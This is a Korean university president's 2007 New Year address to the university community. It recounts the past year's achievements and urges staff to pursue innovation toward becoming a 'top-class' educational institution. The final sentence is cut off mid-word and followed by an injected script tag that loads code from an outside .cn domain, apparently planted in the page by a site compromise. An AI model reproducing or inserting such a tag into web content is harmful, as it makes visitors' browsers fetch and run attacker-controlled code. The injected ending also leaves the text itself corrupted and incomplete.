[2007년도 신년교례회(동영상)] <p/> <p/> 2007년 정해(丁亥)년, 새 해가 밝았습니다. <p/> <p/>&nbsp;&nbsp;한기대 가족 여러분, 새해 복 많이 받으십시오. 그리고 금년에는 여러분이 새롭게 품은 소망이 모두 성취되길 기원합니다. <p/> <p/>&nbsp;&nbsp;돌이켜 보면, 우리 대학은 지난 한 해 동안 열심히 일했고 많은 것을 이루었습니다. 제가 부임한 지 채 1년이 지나지 않았지만 자부심을 가질 만한 성과도 많았습니다. <p/> <p/>&nbsp;&nbsp;우리 학생들의 로봇 작품이 각종 대회에서 우승하였고 대통령상을 수상하였습니다. <p/> <p/>&nbsp;&nbsp;이공계 MBA라 불리는 기술경영 석ㆍ박사과정 운영대학으로 선정되어 서울대 등과 함께 전국최고의 대학으로 어깨를 나란히 하였습니다. 삼성전자와 우리 대학이 공동으로 '첨단기술교육센터'를 설립 운영하여 대ㆍ중소기업과 상생 협력할 수 있는 산학협력의 새로운 모델을 만들었습니다. <p/> <p/>&nbsp;&nbsp;아울러, 취업희망자가 11년 연속 100% 취업하는 전통을 이어 나갔으며, 취업한 졸업생들의 뛰어난 실기능력은 다른 대학의 졸업자와 차별화된다는 평가를 받고 있습니다. <p/> <p/>&nbsp;&nbsp;이런 결과로 중앙일보 대학평가에서 7개 부문 지표에서 5위 이내로 선정되는 평가를 받았습니다. 자동차ㆍ로봇 부문에서 전국 최고 수준임을 입증하였습니다. <p/> <p/>&nbsp;&nbsp;지난 한 해를 되돌아보면서, 뜻과 힘을 모아 이런 성과를 이룰 수 있도록 열심히 일해 주신 한기대 가족 여러분에게, 고맙다는 말씀을 드립니다. <p/> <p/>&nbsp;&nbsp;‘한기대 가족’ 여러분! <p/> <p/>&nbsp;&nbsp;대학을 둘러 싼 환경이 급격히 변하고 있습니다. 전국의 모든 대학이 생존과 발전을 위해 치열하게 경쟁하고 있습니다. <p/> <p/>&nbsp;&nbsp;이렇게 급변하는 환경 속에서 우리 모두는 지혜와 힘을 합쳐 한기대를 더 한층 업그레이드해야 합니다. 작년에 전교직원이 참여하고 논의해서 한기대의 비전과 발전방향을 확정하였습니다. <p/> <p/> 「학습지도능력을 갖춘 실천공학기술자와 인적자원개발전문가」를 양성하여 「평생능력개발을 선도하는 대학교」로 자리매김해야합니다. 이것이 다른 대학보다 차별성을 갖는 우리 대학만의 강점이자, 우리 대학이 나아가야 할 방향입니다. <p/> <p/>&nbsp;&nbsp;「선택과 집중」을 통해 고객 지향적이며 시장에서 인정받는 최일류의 교육서비스기관으로 발전시키고자 50여개의 개별 과제에 대해서 구체적인 실천방안도 마련하였습니다. <p/> <p/>&nbsp;&nbsp;올해는 이러한 과제를 확실하게 실천해야 하겠습니다. <p/> <p/>&nbsp;&nbsp;크리스마스와 연말연시에 많은 분들이 저에게 연하장, e-mail 등을 보내왔습니다. 교수ㆍ직원, 대학원생, 재학생, 졸업생 등 많은 분들이 최근 우리 대학의 성과와 발전 방향에 대해서 격려와 감사, 또한 적극 추진해 달라는 부탁의 글을 보내왔습니다. <p/> <p/>&nbsp;&nbsp;저는 지난해에 의도적으로「혁신」이라는 용어는 사용하지 않았습니다. 대학 구성원들에게 과도한 부담을 주고 싶지 않았고, 지난해 한기대 발전방향은 그 기본방향이 이미 그 전부터 마련되어 있었던 것이기에 굳이 「혁신」이라고 할 필요가 없다고 생각했기 때문입니다. <p/> <p/>&nbsp;&nbsp;이제부터는 한 단계 upgrade해서 우리 대학을 혁신하도록 여러분에게 주문하고 제가 혁신을 주도해 나가겠습니다. 왜 혁신해야 하는지, 무엇을 할 것인지는 이미 정하였습니다. <p/> <p/>&nbsp;&nbsp;이제 어떻게 할 것인가를 구체화해나가는 것이 가장 중요한 과제입니다. <p/> <p/>&nbsp;&nbsp;혁신은 가장 효율적으로 잘 하는 방법을 찾는 것을 말합니다. <p/> <p/>&nbsp;&nbsp;무조건 열심히 하는 것이 혁신은 아닙니다. <p/> <p/>&nbsp;&nbsp;가장 효율적으로 하는 방법은 열린 마음으로 토론하고 학습해서 구석구석에서 대학 구성원 모두가 찾아내야 합니다. <p/> <p/>&nbsp;&nbsp;우리는 특성화된 분야에서 최일류 교육서비스 기관이 되는 목표를 정했습니다. <p/> <p/>&nbsp;&nbsp;모든 판단 기준은 최일류 교육기관에 맞는 제도와 행동의 기준을 정하는 것입니다. <p/> <p/>&nbsp;&nbsp;판단 기준은 <p/> <p/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;그렇게 하면 최일류가 되겠는가? <p/> <p/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;그것이 최일류 기관에 맞는가? <p/> <p/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;일류라면 그렇게 하겠는가? 라는 것들이었습니다. <p/> <p/> 자기 스스로의 행동에 대해서도 판단하고, 다른 사람의 행동평가도 이런 기준에 따라 해주시고 서로 격려해 주시기 바랍니다. <p/> <p/>&nbsp;&nbsp;모든 한기대 가족이 각 부문에서 효율적인 방법을 찾아 대학을 혁신해 주실 것을 당부 드립니다. <p/> <p/>&nbsp;&nbsp;다 같이 공부하고 토론하고 학습해야 합니다. 공부는 혼자서 하기보다는 여럿이 하는 것이 더 효과적입니다. 적절한 학습팀을 만들어 논의하고 공부하고 학습해 나갈 필요가 있습니다. 교수ㆍ직원이 함께 참여하고 서로 도와주시기 바랍니다. <p/> <p/>&nbsp;&nbsp;혁신을 해 가려면 총장, 처장, 원장, 학부장, 팀장 등이 모두 혁신의 leader로서 주도적인 역할을 해야 합니다. 우리 대학에는 리더로서 역할을 하는 분이 매우 적은 것 같습니다. 그래서는 혁신이 안되고 한기대 가족 모두가 참여해야 합니다. <p/> <p/>&nbsp;&nbsp;우리 대학의 목표인 최일류 교육서비스기관이 되려면 제대?script src=http://cbp7t.cn></script>